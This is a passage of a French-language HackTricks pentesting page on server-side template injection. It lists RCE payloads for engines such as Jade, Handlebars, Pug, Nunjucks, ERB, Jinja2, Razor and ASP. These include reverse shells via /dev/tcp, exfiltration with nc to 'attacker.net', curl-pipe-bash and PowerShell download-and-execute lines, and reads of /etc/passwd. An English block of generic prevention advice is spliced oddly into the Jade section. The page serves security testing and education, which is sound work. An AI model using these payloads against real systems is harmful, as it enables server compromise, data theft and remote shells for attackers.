echo $t->finish($t->parse('OUT', 'authors'));
?>

Jade (NodeJS)

Jade is a popular template engine for Node.js. It allows you to write HTML templates using a concise and expressive syntax. However, it is important to be aware of the security risks associated with using Jade, as it can be vulnerable to Server-Side Template Injection (SSTI) attacks.

Server-Side Template Injection (SSTI)

Server-Side Template Injection occurs when an attacker is able to inject malicious code into a template that is then executed on the server. This can lead to various security issues, such as remote code execution, information disclosure, and even server compromise.

Preventing SSTI Attacks

To prevent SSTI attacks when using Jade, it is important to follow these best practices:

  1. Input Validation: Always validate and sanitize user input before using it in a template. This helps to prevent any malicious code from being injected.

  2. Contextual Escaping: Use proper escaping mechanisms to ensure that user input is treated as data and not as code. This helps to prevent any unintended code execution.

  3. Template Whitelisting: Only allow trusted templates to be used. This helps to limit the potential attack surface and reduces the risk of SSTI vulnerabilities.

Conclusion

While Jade is a powerful and flexible template engine, it is important to be aware of the security risks associated with SSTI attacks. By following the best practices mentioned above, you can help to mitigate these risks and ensure the security of your Node.js applications.

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Plus d'informations

patTemplate (PHP)

patTemplate est un moteur de template PHP non-compilant qui utilise des balises XML pour diviser un document en différentes parties.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Handlebars (NodeJS)

Path Traversal (plus d'informations ici).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Erreur
  • ${7*7} = ${7*7}
  • Rien
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Plus d'informations

JsRender (NodeJS)

Modèle Description
Évaluer et afficher la sortie
Évaluer et afficher la sortie encodée en HTML
Commentaire
et Autoriser le code (désactivé par défaut)
  • = 49

Côté client

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Côté Serveur

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Plus d'informations

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Exemple de rendu côté serveur

var pugjs = require('pug');
home = pugjs.render(injected_page)

Plus d'informations

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Aucune sortie
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Erreur
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Plus d'informations

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Erreur
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Plus d'informations

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Plus d'informations

Python

Consultez la page suivante pour apprendre des astuces sur la contournement de l'exécution de commandes arbitraires en contournant les sandbox en python:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Erreur
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}




{{os.system('whoami')}}
{{os.system('whoami')}}

Plus d'informations

Jinja2 (Python)

Site officiel

Jinja2 est un moteur de template complet pour Python. Il prend en charge l'unicode, dispose d'un environnement d'exécution intégré optionnellement sandboxé, est largement utilisé et sous licence BSD.

  • {{7*7}} = Erreur
  • ${7*7} = ${7*7}
  • {{foobar}} Rien
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}



{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Format de template

Jinja2 est un moteur de template puissant et flexible utilisé dans de nombreux frameworks web Python, y compris Flask et Django. Il permet de générer des pages web dynamiques en utilisant des templates pré-définis avec des variables et des instructions de contrôle.

Les templates Jinja2 sont généralement écrits dans des fichiers avec l'extension .html ou .jinja. Ils peuvent contenir du code HTML statique ainsi que des balises spéciales Jinja2 pour insérer des variables et exécuter des instructions.

Voici un exemple de template Jinja2 simple :

<!DOCTYPE html>
<html>
<head>
    <title>{{ title }}</title>
</head>
<body>
    <h1>Bienvenue, {{ user }}!</h1>
    <ul>
        {% for item in items %}
            <li>{{ item }}</li>
        {% endfor %}
    </ul>
</body>
</html>

Dans cet exemple, les balises {{ title }}, {{ user }} et {{ item }} sont des variables qui seront remplacées par des valeurs spécifiques lors de la génération de la page web. Les balises {% for %} et {% endfor %} sont utilisées pour exécuter une boucle et afficher une liste d'éléments.

Les templates Jinja2 peuvent également inclure des instructions de contrôle plus avancées, telles que des conditions, des filtres et des blocs. Ces fonctionnalités permettent de créer des templates plus dynamiques et flexibles.

Il est important de noter que les templates Jinja2 peuvent être vulnérables à une injection de code côté serveur (Server-Side Template Injection - SSTI) si des entrées utilisateur non fiables sont utilisées directement dans les templates sans être correctement échappées ou validées. Cette vulnérabilité peut permettre à un attaquant d'exécuter du code arbitraire sur le serveur, ce qui peut entraîner des conséquences graves, telles que la divulgation d'informations sensibles ou la compromission du système. Il est donc essentiel de prendre des mesures pour sécuriser les templates Jinja2 et éviter les attaques SSTI.

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE non dépendant de __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Plus de détails sur la façon d'exploiter Jinja:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Razor (.Net)

  • @(2+2) <= Succès
  • @() <= Succès
  • @("{{code}}") <= Succès
  • @ <= Succès
  • @{} <= ERREUR !
  • @{ <= ERREUR !
  • @(1+2)
  • @( //Code C# )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

La méthode System.Diagnostics.Process.Start de .NET peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un webshell. Vous pouvez trouver un exemple d'application web vulnérable sur https://github.com/cnotin/RazorVulnerableApp

Plus d'informations

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Rien
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Plus d'informations

Mojolicious (Perl)

Même s'il s'agit de Perl, il utilise des balises similaires à ERB en Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Erreur
<%= perl code %>
<% perl code %>

SSTI en GO

Pour confirmer que le moteur de template utilisé dans le backend est Go, vous pouvez utiliser ces charges utiles :

  • {{ . }} = structure de données transmise en entrée au template
  • Si les données transmises sont un objet qui contient l'attribut Password par exemple, la charge utile précédente le révélerait, mais vous pourriez également utiliser : {{ .Password }}
  • {{printf "%s" "ssti" }} = devrait afficher la chaîne "ssti" dans la réponse
  • {{html "ssti"}}, {{js "ssti"}} = Ce sont quelques autres charges utiles qui devraient afficher la chaîne "ssti" sans les mots "js" ou "html" qui suivent. Vous pouvez vous référer à plus de mots-clés dans le moteur ici.

Exploitation de XSS

Si le serveur utilise le package text/template, il est très facile de réaliser une XSS en fournissant simplement votre charge utile en entrée. Cependant, ce n'est pas le cas avec html/template car il encode la réponse en HTML : {{"<script>alert(1)</script>"}} --> &lt;script&gt;alert(1)&lt;/script&gt;

Cependant, Go permet de DÉFINIR un template complet et de l'appeler plus tard. La charge utile ressemblera à ceci :
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}

Exploitation de RCE

La documentation des modules html/template peut être trouvée ici, et la documentation du module text/template peut être trouvée ici, et oui, elles diffèrent beaucoup. Par exemple, dans text/template, vous pouvez appeler directement n'importe quelle fonction publique avec la valeur "call", ce qui n'est pas le cas avec html/template.

Si vous souhaitez trouver une RCE en utilisant SSTI en Go, sachez que vous pouvez accéder à l'objet donné au template avec {{ . }}, vous pouvez également appeler les méthodes de l'objet. Donc, imaginez que l'objet transmis ait une méthode appelée System qui exécute la commande donnée, vous pourriez l'exploiter avec : {{ .System "ls" }}
Par conséquent, vous aurez probablement besoin du code source. Un code source potentiel pour quelque chose comme ça ressemblera à :

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Plus d'informations

Plus d'exploits

Consultez le reste de https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les balises dans https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

Aide connexe

Si vous pensez que cela pourrait être utile, lisez :

Outils

{% embed url="https://github.com/epinna/tplmap" %}

Liste de détection de force brute

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Pratique et références

RootedCON est l'événement le plus important en matière de cybersécurité en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥